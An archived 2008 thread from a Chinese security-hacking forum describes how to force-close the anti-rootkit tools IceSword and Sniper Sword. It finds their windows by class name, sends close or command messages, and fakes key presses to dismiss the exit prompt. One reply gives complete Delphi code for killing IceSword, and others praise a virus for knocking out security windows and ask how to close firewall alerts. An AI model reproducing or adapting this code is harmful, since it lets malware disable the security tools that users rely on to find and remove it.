邪恶八进制信息安全团队技术讨论组's Archiver

xlrtx 2008-2-15 17:46

[原创]菜菜的方法关闭冰刃和狙剑

文章作者:xlrtx ([url]http://hi.baidu.com/xlrtx[/url])
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

最近看炉子VB写的防杀和关冰刃受挫匪浅.
人家强人没办法,VB都可以做出这么强大的东西...
在郁闷半天后,突然飘过一个想法:
人家能做关冰刃,自己咋就不可以捏?高手有自己的思路,菜鸟也有自己的方法的..
条条大路通罗马的说=0=

以前看过个VB发消息关瑞星保护,主要思路是找到瑞星窗口句柄,在发消息关闭.
所有窗口都有自己的句柄,冰刃也一样.
那么我们就来按照这个思路来做一个关闭冰刃的程序吧!

第一步当然是拿冰某的句柄了
冰刃这个程序大家都知道,标题是随机的,那么说用findwindow函数从标题下手拿句柄的路子肯定是不可能的.
那么类名呢?从类名到句柄的方法也是可以的,IS的类名该不会是随机的了吧!
我拿出了Spy++看了下

让人郁闷的一幕发生了~

[attach]10977[/attach]

事实证明,冰刃不仅标题是随机的,类名也如此= =||
XE的IS啊..又一个希望破灭了||

再次受挫..

难道没别的方法了么= =?
本人顺手打开了冰刃的子窗口看了眼..

[attach]10978[/attach]

从图中可以看到,IS的子窗口的类名是固定的哈!
我又分析了IS的几个别版本发现子窗口类名完全相同~~~~

新的方法如下:
GetForegroundWindow拿到当前窗口句柄
FindWindowEx查找当前窗口的子窗口类名,如果查到子窗口类名符合冰刃的特点,那么这个程序一定是冰刃了哈~
拿到了冰刃的句柄,发个wm_close就可以了,对于之后那个是否关闭的提示框,模拟按键就可以无视掉了~

有了思路就自己动手用VB编了个关冰刃的程序,经过调试后,此方法成功关闭冰刃.

'==================================================================

呵呵,看来窗口句柄下手这个思路挺强大的哈.
这个方法连冰刃都可以关,那么关别的程序就应该更简单了吧~
我吧下一个目标放在了狙剑身上0 0....

还是老方法,先用S某分析狙剑,然后想办法拿到狙剑句柄
(由于本人比较懒,这里我测试的只是0117版本的)

[attach]10979[/attach]

大家可以看到狙剑的窗口类名貌似是固定的--"ClientWindow"
PS..狙剑的标题受版本号影响,所以从标题下手比较麻烦(其实标题下手也可以拿句柄,具体思路不说了先)

类名固定,所以用findwindow函数就可直接拿到句柄料..激动ing.
用过狙剑的人知道,关闭必须从右下角的小图标点右键按退出才可以.
实现这个很简单,关瑞星保护不就是这么个原理么?

接着用S某记录关闭狙剑的消息就可以了
在众多消息中找到wm_command

[attach]10980[/attach]

好了,句柄知道,消息也有,发个消息即可关闭我们的狙剑了呵呵^ ^

[attach]10981[/attach]

heekey 2008-2-15 20:29

IS的子窗口的类名是固定的??
不好意思问个菜点的问题
我怎么没在你传得图片上看出来啊?

xlrtx 2008-2-15 20:35

AfxMDIFrame42s就是一个子窗口的类名.
可以用Spy++看看,是固定的说.

sudami 2008-2-15 22:08

哈哈.这个方法真强大。 甚至比那些底层的东西更好用.

好久前的查找窗口,模拟按键又出新思路了. 赞一个.:lol:

adson 2008-2-17 15:24

试用了楼主的程序关闭IceSword,然后看你的代码发现IceSword一定要在当前激活状态才可以关闭,我简单的改了下,使其可以在不激活时也可正常关闭,纯属无聊,请勿见怪:
==========我的实现=======================
procedure TForm1.Timer1Timer(Sender: TObject);
var
hwnd,hwnd1,hwnd2,hwnd3:Thandle;
begin
timer1.Enabled :=false;
hwnd:=GetWindow(Handle,GW_HWNDFIRST);
while hwnd<>0 do
begin
    hwnd1:=findwindowEx(hwnd,0,pchar('AfxMDIFrame42s'),nil);
    hwnd2:=findwindowEx(hwnd,0,pchar('AfxControlBar42s'),nil);
    if hwnd1 <> 0 then
    if hwnd2 <>0 then
    begin
      PostMessage(hwnd,WM_CLOSE,0,0);
      hwnd3:=GetFocus;
      if hwnd3<> hwnd then
        setforegroundwindow(hwnd); //设为激活窗口
      keybd_event(vk_return,MapVirtualKey(vk_return, 0 ),0,0);
      keybd_event(vk_return, MapVirtualKey(vk_return, 0 ), KEYEVENTF_KEYUP , 0 );
      break;
    end;
      hwnd:=GetWindow(hwnd,GW_HWNDNEXT);
end;
  timer1.Enabled :=true;
end;

//////////////////////////////稍微改动////////////////////////////////////////////////////////
//得到指定窗体的焦点子窗体的句柄
function   GetActiveControl(ParentWnd:   HWND):   HWND;
var
      OtherThread,
      Buffer:   DWord;
      idCurrThread:   DWord;
begin
      OtherThread:=   GetWindowThreadProcessID(ParentWnd,   @Buffer);
      idCurrThread:=   GetCurrentThreadID;   
      if   AttachThreadInput(idCurrThread,   OtherThread,   True)   then
        begin   
            Result:=   GetFocus;   
            AttachThreadInput(idCurrThread,   OtherThread,   False);
        end
      else
          Result:=   GetFocus;   
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
hwnd,hwnd1,hwnd2,hwnd3:Thandle;
begin
timer1.Enabled :=false;
hwnd:=GetWindow(Handle,GW_HWNDFIRST);
while hwnd<>0 do
begin
    hwnd1:=findwindowEx(hwnd,0,pchar('AfxMDIFrame42s'),nil);
    hwnd2:=findwindowEx(hwnd,0,pchar('AfxControlBar42s'),nil);
    if hwnd1 <> 0 then
    if hwnd2 <>0 then
    begin
      PostMessage(hwnd,WM_CLOSE,0,0);
      hwnd3:=GetActiveControl(hwnd);//得到该窗体的焦点子窗体句柄
      PostMessage(hwnd3, WM_KEYDOWN, VK_RETURN, 0);
      break;
    end;
    hwnd:=GetWindow(hwnd,GW_HWNDNEXT);
end;
timer1.Enabled :=true;
end;

yzy888 2008-2-18 10:26

恩, 不错谢谢,  但是我还没有搞清楚有些病毒是怎么关闭Wsyschec的, 我把一些相关的类名改了还是打不开Wsyschec,好像不是句柄呢,

炉子 2008-2-18 12:28

Wsyscheck有自我保护? 能否发个样本来。

vxk 2008-2-19 00:40

学习“磁碟机”病毒直接消息DOS掉窗口比较好,只要是窗口总要有消息,有消息就一定被他给挂掉~~呵呵呵呵呵呵呵呵呵呵呵~~~

qq263 2008-2-20 21:46

呵,老了这个。谁能够把ZA防火墙的提示窗口关掉啊?  像这种方法是不可能被关掉的!!!:biggrin:

vxk 2008-2-21 13:30

[quote]原帖由 [i]qq263[/i] 于 2008-2-20 21:46 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=138797&ptid=32232][img]images/common/back.gif[/img][/url]
呵,老了这个。谁能够把ZA防火墙的提示窗口关掉啊?  像这种方法是不可能被关掉的!!!:biggrin: [/quote]

"磁碟机"病毒可以做到~~

页: [1]
© 1999-2008 EvilOctal Security Team